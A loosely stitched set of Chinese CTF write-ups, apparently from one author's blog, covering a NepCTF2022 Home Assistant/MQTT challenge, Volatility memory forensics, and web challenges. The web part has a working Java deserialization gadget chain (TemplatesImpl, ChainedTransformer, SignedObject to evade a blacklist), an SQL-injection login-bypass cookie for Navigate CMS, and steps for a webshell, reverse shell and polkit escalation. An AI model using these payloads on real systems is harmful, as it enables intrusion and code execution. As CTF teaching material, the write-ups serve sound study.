【NepCTF2022】原来你也玩智能家居 彩蛋 WriteUP
前言
其实tips给到docker已经有点明显了,但大爹们可能是拿到flag就不想继续玩了(
具体步骤
要不要考虑去docker hub上看看Nepctf?
pull下来,启动容器/直接导出镜像后,查看home assistant配置文件,就可以看到信号数据,以及彩蛋填写的地址。
可是到比赛结束都没人找到彩蛋,现在表单已经关闭,礼物就只能留给yunoon自己啦~
后话
下一次要整点什么活呢~
其实tips给到docker已经有点明显了,但大爹们可能是拿到flag就不想继续玩了(
要不要考虑去docker hub上看看Nepctf?
pull下来,启动容器/直接导出镜像后,查看home assistant配置文件,就可以看到信号数据,以及彩蛋填写的地址。
可是到比赛结束都没人找到彩蛋,现在表单已经关闭,礼物就只能留给yunoon自己啦~
下一次要整点什么活呢~
by Yunoon
题目的灵感是来自于Yunoon这边自己为了方便显示器信号的频繁切换,不想一直摁显示器的切换按钮而来。
正巧家里还有小爱音响pro、智能网关这类,就想着组个智能家居,顺便把这些设备全都接入到一个平台上,目前比较友好的就是home assistant了。
Home Assistant 是一款用于家庭自动化的免费开源软件,旨在成为智能家居设备的中央控制系统,专注于本地控制和隐私。可以使用 Android 和 iOS 配套应用程序通过基于 Web 的用户界面访问它,或者通过支持的虚拟助手(如 Google Assistant、Amazon Alexa 甚至斯坦福大学的“Genie”(以前称为“Almond”))通过语音命令访问它开放虚拟助理实验室 (OVAL.) ----翻译自维基百科
这样可以将这些设备都接入到苹果生态中啦(懒狗、deadline都是核心生产力)。
在搭建好后,就购买了可以控制红外收发的设备(ESP8266+收发模块),以及HDMI切换器(支持红外控制)。
通过将ESP8266刷入激活了红外模块的tasmota系统
TASMOTA是具有快速设置和更新的完全本地控制。
使用 MQTT、Web UI、HTTP 或串行进行控制。
使用计时器、规则或脚本实现自动化。
与家庭自动化解决方案集成。
令人难以置信的可扩展性和灵活性。
通过tasmota的控制台可以接收到HDMI红外遥控的NUC数据,将获取的数据存储下来。
在将tasmota添加至home assistant中,在home assistant的configuration.yaml中编写一个开关模块(将获取到的NUC数据放在请求接口中),该模块将调用mqtt的订阅,实现利用mqtt+tasmota控制HDMI控制器。
并且在home assistant中添加HomeKit就可以将红外开关放人HomeKit中了~
Yunoon最近沉迷于homeassistant,但他忘记了显示器切换的红外信号数据了,你能帮帮他么。
tips:因为Yunoon比较懒,所有的配置都是默认的。
一个被docker环境难倒的废人呜呜呜
URL:http://222.187.239.143:10013
直播间URL:https://b23.tv/bn0pPAR
别扫别的端口了,求求惹。
不用爆破密码我直接给:admin/admin
共享环境,请不要更改密码。
弱密码(X)/mqtt订阅通配符/homeassistant/tasmota
cmnd
。cmnd
加上通配符,即可监听所有的tasmota的mqtt数据。使用题目描述中的admin/admin进入
首页就可以发现有显示器切换的按钮。
但问题的点就是在如何获取到其中的信号(data数据),没有玩过home assistant的小伙伴可能就是一脸懵*,但这里就是一个考察大家如何通过已知的信息进行更多信息收集的能力,比如home assistant是什么,开启的服务。
进入后,发现开启了3个服务,分别为MQTT、Radio Browser、Tasmota
这里就可以考虑到题目描述中的默认配置,以及MQTT。
Tasmota的MQTT默认订阅为cmnd/stat/tele
这里就可以利用MQTT的通配符特性来捕获cmnd下所有的数据,即cmnd/#
在MQTT的配置页面进行监听,再开启一个页面进入首页,点击屏幕切换,即可获取显示器切换的data。
点击切换按钮
即可获取flag
在原有基础上,可以下载MQTT服务的诊断文件,也可获得flag。
查看下载文件
这个题目其实不算是漏洞考点(毕竟是Misc),主要就是在看看大家在遇到没有遇到过的环境时的临时应变以及信息收集的能力,塞入的真实环境也是节目效果,是要在拿到彩蛋后才能触发的真结局。
希望下一次的NepCTF能够给各位整点新活,我们下次再见!
再读下题目描述,和docker相关。
在这之前做出来都算哟。
后续会在平台关闭后再将彩蛋解题思路上线博客博客链接
浏览记录查看vol.py -f file.raw --profile=WinXPSP2x86 iehistory
Process: 1600 explorer.exe
Cache type "URL " at 0x1fb5800
Record length: 0x100
Location: Visited: Administrator@http://www.microsoft.com/isapi/redir.dll?prd=ie&pver=6&ar=msnhome
Last modified: 2022-06-20 12:36:39 UTC+0000
Last accessed: 2022-06-20 12:36:39 UTC+0000
File Offset: 0x100, Data Offset: 0x0, Data Length: 0xc4
**************************************************
Process: 1600 explorer.exe
Cache type "DEST" at 0x2ab9a55
Last modified: 2022-06-20 21:00:08 UTC+0000
Last accessed: 2022-06-20 13:00:10 UTC+0000
URL: Administrator@file:///C:/Documents%20and%20Settings/Administrator/Lhb/secret.jpg
获取到敏感文件secret.jpg
全局搜索secret.jpgvol.py -f file.raw --profile=WinXPSP2x86 filescan | grep secret.jpg
yunoon@YunoondeMacBook-Air Simple_forensics % vol.py -f file.raw --profile=WinXPSP2x86 filescan | grep secret.jpg
Volatility Foundation Volatility Framework 2.6.1
0x000000000207e3d8 1 0 RW-rw- \Device\HarddiskVolume1\Documents and Settings\Administrator\Recent\secret.jpg (3).lnk
0x0000000002325028 1 0 R--r-- \Device\HarddiskVolume1\Documents and Settings\Administrator\桌面\secret.jpg
提取secret.jpg vol.py -f file.raw --profile=WinXPSP2x86 dumpfiles -Q 0x0000000002325028 --dump-dir=./
查看发现为base64加密的逆序数据,将其解密,得到一个加密的zip包。
通过strings file.raw | grep password
获取到密码echo password = 62b041223bb9a
解压后,发现是散点图。
gnuplot绘制即可a
扫码获取flag:flag{a6b93e36-f097-11ec-a9b2-5254002d2b31}
strings flag2.scap
challenge
info
info
name
name
challenge
info
+---------+----------------------------------+
| name | data |
+---------+----------------------------------+
| success | 1555a651a13ec074ce725383214fd7cc |
+---------+----------------------------------+
1 row in set (0.00 sec)
/etc/localtime
mysql>
+---------+----------------------------------+
| name | data
/proc/loadavg
flag: PCL{1555a651a13ec074ce725383214fd7cc}7cc}
解压后,通过IDEA进行反编译。
先通过signedobject二次反序列化绕黑名单
再用/data接口打cb链
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(calc.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
ConstantFactory constantFactory = new ConstantFactory(TrAXFilter.class);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { obj })
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map hashMap = new HashMap();
Map outerMap = DefaultedMap.decorate(hashMap, transformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "key");
HashMap evalMap = new HashMap();
evalMap.put(tiedMapEntry, "test");
outerMap.remove("key");
Field declaredFields = ChainedTransformer.class.getDeclaredField("iTransformers");
declaredFields.setAccessible(true);
declaredFields.set(transformerChain, transformers);
PrivateKey privateKey = new PrivateKey() {
@Override
public String getAlgorithm() {
return null;
}
@Override
public String getFormat() {
return null;
}
@Override
public byte[] getEncoded() {
return new byte[0];
}
};
Signature signature = new Signature("AES") {
@Override
protected void engineInitVerify(PublicKey publicKey) throws InvalidKeyException {
}
@Override
protected void engineInitSign(PrivateKey privateKey) throws InvalidKeyException {
}
@Override
protected void engineUpdate(byte b) throws SignatureException {
}
@Override
protected void engineUpdate(byte[] b, int off, int len) throws SignatureException {
}
@Override
protected byte[] engineSign() throws SignatureException {
return new byte[0];
}
@Override
protected boolean engineVerify(byte[] sigBytes) throws SignatureException {
return false;
}
@Override
protected void engineSetParameter(String param, Object value) throws InvalidParameterException {
}
@Override
protected Object engineGetParameter(String param) throws InvalidParameterException {
return null;
}
};
SignedObject signedObject = new SignedObject(evalMap, privateKey, signature);
final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "object");
setFieldValue(queue, "queue", new Object[]{signedObject, signedObject});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
扫出路径login.php
发现是navigate cms的洞,题目提示有msf,那就直接用msf来试试,发现路径要改为“/”,但依旧上传不成功。
登录绕过Cookie:navigate-user=\' OR TRUE--%20
利用发现template处可以文件任意写入
就可以用蚁剑连上。
然后再反弹shell,使用同样的方法再上传个polkit提权。
发现有个flag文件,但提示需要删掉菠菜内容,二进制查看,发现文件位置。
去掉写保护后,可以成功删除,并且再次执行拿到flag。
源码里的Base64 解密一下
payload:?input1=./flag.php&&input2=data://text/plain;base64,V2VsY29tZSE=&&input3=test
解压出来的vmem文件,直接用volatility提取数据。
yunoon@YunoondeMacBook-Air Misc3 % vol.py -f CTFWindows7-8f09ab24.vmem --profile=Win7SP1x86_23418 filescan | grep flag
Volatility Foundation Volatility Framework 2.6.1
0x000000002e8c0880 8 0 RW-r-- \Device\HarddiskVolume2\flag\hint.txt.txt
0x000000002e8f7a58 1 1 R--rw- \Device\HarddiskVolume2\flag
0x000000002e90f038 8 0 RW-r-- \Device\HarddiskVolume2\fffffflag\baidunetdisk.txt
0x000000002e96ac80 2 0 RW-rw- \Device\HarddiskVolume2\Users\xiaoming\AppData\Roaming\Microsoft\Windows\Recent\fffffflag.lnk
0x000000002f38b038 1 1 R--rw- \Device\HarddiskVolume2\fffffflag
0x000000002f39f038 2 0 RW-rw- \Device\HarddiskVolume2\Users\xiaoming\AppData\Roaming\Microsoft\Windows\Recent\flag.lnk
0x000000002f3b10d8 2 1 R--rwd \Device\HarddiskVolume2\fffffflag
0x000000002f8a4298 2 1 R--rwd \Device\HarddiskVolume2\fffffflag
yunoon@YunoondeMacBook-Air Misc3 % vol.py -f CTFWindows7-8f09ab24.vmem --profile=Win7SP1x86_23418 filescan | grep xiaoming | grep .txt
Volatility Foundation Volatility Framework 2.6.1
0x000000002bf5f110 2 0 -W---- \Device\HarddiskVolume2\Users\xiaoming\AppData\Roaming\Microsoft\Windows\Cookies\xiaoming@ieonline.microsoft[1].txt
0x000000002e967e48 2 0 -W---- \Device\HarddiskVolume2\Users\xiaoming\AppData\Roaming\Microsoft\Windows\Cookies\Low\xiaoming@hm.baidu[1].txt
0x000000002e973b40 2 0 RW-rw- \Device\HarddiskVolume2\Users\xiaoming\AppData\Roaming\Microsoft\Windows\Recent\zippasswd.txt.lnk
0x000000002e9fe628 8 0 RW---- \Device\HarddiskVolume2\Users\xiaoming\Desktop\zippasswd.txt
0x000000002ea9ad90 8 0 -W---- \Device\HarddiskVolume2\Users\xiaoming\AppData\Roaming\Microsoft\Windows\Cookies\Low\xiaoming@cmd5[1].txt
0x000000002ebc2878 2 0 RW-rw- \Device\HarddiskVolume2\Users\xiaoming\AppData\Roaming\Microsoft\Windows\Recent\hint.txt.lnk
0x000000002f34f210 8 0 -W---- \Device\HarddiskVolume2\Users\xiaoming\AppData\Roaming\Microsoft\Windows\Cookies\Low\xiaoming@bing[2].txt
0x000000002f398c98 1 1 -W-rw- \Device\HarddiskVolume2\Users\xiaoming\AppData\Local\Temp\FXSAPIDebugLogFile.txt
0x000000002f7d1480 2 0 RW-rw- \Device\HarddiskVolume2\Users\xiaoming\AppData\Roaming\Microsoft\Windows\Recent\baidunewdisk.txt.lnk
0x000000002f82bb78 8 0 -W---- \Device\HarddiskVolume2\Users\xiaoming\AppData\Roaming\Microsoft\Windows\Cookies\Low\xiaoming@msn[2].txt
0x000000002f8c9cb8 8 0 -W---- \Device\HarddiskVolume2\Users\xiaoming\AppData\Roaming\Microsoft\Windows\Cookies\Low\xiaoming@sojson[1].txt
0x000000002f9c0038 8 0 -W-rw- \Device\HarddiskVolume2\Users\xiaoming\AppData\Local\Microsoft\Internet Explorer\brndlog.txt
0x000000002f9cfaf8 2 0 -W---- \Device\HarddiskVolume2\Users\xiaoming\AppData\Roaming\Microsoft\Windows\Cookies\Low\xiaoming@cn.bing[2].txt
0x000000002f9f0af0 2 0 -W---- \Device\HarddiskVolume2\Users\xiaoming\AppData\Roaming\Microsoft\Windows\Cookies\Low\xiaoming@www.bing[1].txt
0x000000002fb0d500 8 0 -W-rwd \Device\HarddiskVolume2\Users\xiaoming\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\5G8FOASY\eb-c31c9a-3cb8f63e[1].txt
0x000000002fb1a588 8 0 -W---- \Device\HarddiskVolume2\Users\xiaoming\AppData\Roaming\Microsoft\Windows\Cookies\xiaoming@microsoft[1].txt
yunoon@YunoondeMacBook-Air Misc3 % vol.py -f CTFWindows7-8f09ab24.vmem --profile=Win7SP1x86_23418 dumpfiles -Q 0x000000002e8c0880 --dump-dir=./
Volatility Foundation Volatility Framework 2.6.1
DataSectionObject 0x2e8c0880 None \Device\HarddiskVolume2\flag\hint.txt.txt
yunoon@YunoondeMacBook-Air Misc3 % vol.py -f CTFWindows7-8f09ab24.vmem --profile=Win7SP1x86_23418 dumpfiles -Q 0x000000002e90f038 --dump-dir=./
Volatility Foundation Volatility Framework 2.6.1
DataSectionObject 0x2e90f038 None \Device\HarddiskVolume2\fffffflag\baidunetdisk.txt
yunoon@YunoondeMacBook-Air Misc3 % vol.py -f CTFWindows7-8f09ab24.vmem --profile=Win7SP1x86_23418 dumpfiles -Q 0x000000002e9fe628 --dump-dir=./
提取出来的文件有hint.txt.txt
,baidunetdisk.txt
,zippasswd.txt
通过获取到剪贴板的数据fa5ef7676006afd4748becb7e68b0aed
,可以提取到网盘提取码。
yunoon@YunoondeMacBook-Air Misc3 % vol.py -f CTFWindows7-8f09ab24.vmem --profile=Win7SP1x86_23418 clipboard
Volatility Foundation Volatility Framework 2.6.1
Session WindowStation Format Handle Object Data
---------- ------------- ------------------ ---------- ---------- --------------------------------------------------
1 WinSta0 0xc009L 0x124034b 0xff5820a8
1 WinSta0 CF_TEXT 0x0 ----------
1 WinSta0 CF_UNICODETEXT 0xe0395 0xffb83ee0 fa5ef7676006afd4748becb7e68b0aed
1 WinSta0 0xc013L 0x3101cf 0xff5744f8
1 WinSta0 CF_LOCALE 0x49008b 0xfda0d260
1 WinSta0 CF_OEMTEXT 0x1 ----------
md5解密后,得到为789C
下载获得flag.img文件
将其挂载后得到以下数据
YESYESLookAtme就是我们要找的文件,利用提取到的zippasswd.txt获得其中内容。
zippasswd是hex字符串,可以直接放到16进制编辑器中,发现是PNG文件。
但头文件有问题,对其进行修复,更改文件后缀为png。
获取到qrcode
扫码获取解压码password_is_passwd
解压得到其中的内容,一共有377个
这里拿到过后开始以为是三维图,画了半天感觉方向错了,是RGB数据。
编写脚本,把每个文件渲染成图片。
from PIL import Image
#图片有1600条RGB数据,因此判断为40x40.
def render(name):
file1 = open(name)
im = Image.new("RGB", (40, 40))
for i in range(40):
for j in range(40):
file = file1.readline()
list1 = file.split(" ")
im.putpixel((i, j), (int(list1[0]), int(list1[1]), int(list1[2])))
im.save(f"./pic/{name}.png")
def main():
# render("1.txt")
print(f"=========Is Render Img{i}=============")
render(f"{i}.txt")
if __name__ == '__main__':
main()
获取到图片过后,使用magick+gaps来拼接图片。
377个图片可以推算出只有两种排列方式
for i in range(376):
for j in range(377):
if i*j == 377:
print(i,j)
#output:
#13 29
#29 13
magick安装
gaps安装
使用magick来讲分散的图片进行拼接montage *.txt.png -tile 29x13 -geometry +0+0 flag.png
-tile: 指定长x宽
-geometry geometry preferred tile and border sizes
就可以将所有的.txt.png图片拼接成一个29x13的图片
在使用gaps来进行自动拼图就行,安装完毕后,在bin/目录下执行命令即可。python3 gaps --image=flag.png --size=40
--image: 指定图片
--size: 指定每一块的图像的大小。
最终的结果
所以说为什么Misc1的伪flag,是这里的真flag,胖揍出题人。这里的真flag,胖揍出题人。是这里的真flag,胖揍出题人。
《关于我PD被自己搞坏了重装这件事》
环境:
macOS 11.6
PD 17.1
kali 2022
点击安装pd tools
把挂载盘中的数据拷贝出来
给该目录对应的权限chmod 777 -R ./cdrom0
安装dkms apt install dkms
查看内核版本uname -r
下载对应版本3个内核文件下载链接
headers-common
headers-amd64(下载对应的)
kbuild
1.因为无法复制,只能手敲url,用wget <url>即刻。
安装即可
然后进入复制目录的位置./install
即可